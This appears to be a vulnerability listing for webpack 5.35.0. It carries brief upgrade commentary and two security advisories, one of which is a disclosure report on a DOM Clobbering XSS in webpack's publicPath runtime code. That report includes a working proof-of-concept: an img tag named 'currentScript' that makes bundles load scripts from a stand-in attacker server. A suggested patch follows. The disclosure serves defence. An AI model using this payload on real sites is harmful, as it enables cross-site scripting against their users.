Webpack 5.35.0 is a minor release following version 5.34.0, with subtle yet potentially impactful changes for developers. Both versions share the core functionality of bundling JavaScript and other assets for web applications, leveraging features like code splitting and loader support for diverse file types. Examining the package metadata, the dependencies and devDependencies remain largely consistent, indicating no radical shifts in core tooling or supported libraries. Both versions rely on a comprehensive ecosystem, from acorn for parsing JavaScript to terser for code minification, and testing frameworks like Jest.
While direct dependency version changes aren't apparent from this data, it is possible that some underlying libraries received patch updates, contributing to the slight increase in unpacked size in 5.35.0. This might introduce minor performance improvements or bug fixes under the hood. It's also worth noting the release date difference. Version 5.35.0 was released shortly after 5.34.0, suggesting the newer version might contain quick fixes or urgent updates identified in the previous release.
For developers, upgrading from 5.34.0 to 5.35.0 is likely a low risk update, but checking the official webpack changelog for specific bug fixes or performance enhancements introduced in 5.35.0 is crucial. If your webpack setup is working smoothly with 5.34.0, the upgrade might not be immediately urgent, but staying up-to-date ensures access to the latest improvements and security patches. Remember to always test your application thoroughly after any upgrade, especially in complex projects.
All the vulnerabilities related to the version 5.35.0 of the package
Cross-realm object access in Webpack 5
Webpack 5 before 5.76.0 does not avoid cross-realm object access. ImportParserPlugin.js mishandles the magic comment feature. An attacker who controls a property of an untrusted object can obtain access to the real global object.
Webpack's AutoPublicPathRuntimeModule has a DOM Clobbering Gadget that leads to XSS
We discovered a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.
We found the real-world exploitation of this gadget in the Canvas LMS which allows XSS attack happens through an javascript code compiled by Webpack (the vulnerable part is from Webpack). We believe this is a severe issue. If Webpack’s code is not resilient to DOM Clobbering attacks, it could lead to significant security vulnerabilities in any web application using Webpack-compiled code.
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/
We identified a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. When the output.publicPath field in the configuration is not set or is set to auto, the following code is generated in the bundle to dynamically resolve and load additional JavaScript files:
/******/ /* webpack/runtime/publicPath */
/******/ (() => {
/******/ var scriptUrl;
/******/ if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + "";
/******/ var document = __webpack_require__.g.document;
/******/ if (!scriptUrl && document) {
/******/ if (document.currentScript)
/******/ scriptUrl = document.currentScript.src;
/******/ if (!scriptUrl) {
/******/ var scripts = document.getElementsByTagName("script");
/******/ if(scripts.length) {
/******/ var i = scripts.length - 1;
/******/ while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
/******/ }
/******/ }
/******/ }
/******/ // When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration
/******/ // or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic.
/******/ if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
/******/ scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/");
/******/ __webpack_require__.p = scriptUrl;
/******/ })();
However, this code is vulnerable to a DOM Clobbering attack. The lookup on the line with document.currentScript can be shadowed by an attacker, causing it to return an attacker-controlled HTML element instead of the current script element as intended. In such a scenario, the src attribute of the attacker-controlled element will be used as the scriptUrl and assigned to __webpack_require__.p. If additional scripts are loaded from the server, __webpack_require__.p will be used as the base URL, pointing to the attacker's domain. This could lead to arbitrary script loading from the attacker's server, resulting in severe security risks.
Please note that we have identified a real-world exploitation of this vulnerability in the Canvas LMS. Once the issue has been patched, I am willing to share more details on the exploitation. For now, I’m providing a demo to illustrate the concept.
Consider a website developer with the following two scripts, entry.js and import1.js, that are compiled using Webpack:
// entry.js
import('./import1.js')
.then(module => {
module.hello();
})
.catch(err => {
console.error('Failed to load module', err);
});
// import1.js
export function hello () {
console.log('Hello');
}
The webpack.config.js is set up as follows:
const path = require('path');
module.exports = {
entry: './entry.js', // Ensure the correct path to your entry file
output: {
filename: 'webpack-gadgets.bundle.js', // Output bundle file
path: path.resolve(__dirname, 'dist'), // Output directory
publicPath: "auto", // Or leave this field not set
},
target: 'web',
mode: 'development',
};
When the developer builds these scripts into a bundle and adds it to a webpage, the page could load the import1.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.
<!DOCTYPE html>
<html>
<head>
<title>Webpack Example</title>
<!-- Attacker-controlled Script-less HTML Element starts--!>
<img name="currentScript" src="https://attacker.controlled.server/"></img>
<!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script src="./dist/webpack-gadgets.bundle.js"></script>
<body>
</body>
</html>
This vulnerability can lead to cross-site scripting (XSS) on websites that include Webpack-generated files and allow users to inject certain scriptless HTML tags with improperly sanitized name or id attributes.
A possible patch to this vulnerability could refer to the Google Closure project which makes itself resistant to DOM Clobbering attack: https://github.com/google/closure-library/blob/b312823ec5f84239ff1db7526f4a75cba0420a33/closure/goog/base.js#L174
/******/ /* webpack/runtime/publicPath */
/******/ (() => {
/******/ var scriptUrl;
/******/ if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + "";
/******/ var document = __webpack_require__.g.document;
/******/ if (!scriptUrl && document) {
/******/ if (document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT') // Assume attacker cannot control script tag, otherwise it is XSS already :>
/******/ scriptUrl = document.currentScript.src;
/******/ if (!scriptUrl) {
/******/ var scripts = document.getElementsByTagName("script");
/******/ if(scripts.length) {
/******/ var i = scripts.length - 1;
/******/ while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
/******/ }
/******/ }
/******/ }
/******/ // When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration
/******/ // or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic.
/******/ if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
/******/ scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/");
/******/ __webpack_require__.p = scriptUrl;
/******/ })();
Please note that if we do not receive a response from the development team within three months, we will disclose this vulnerability to the CVE agent.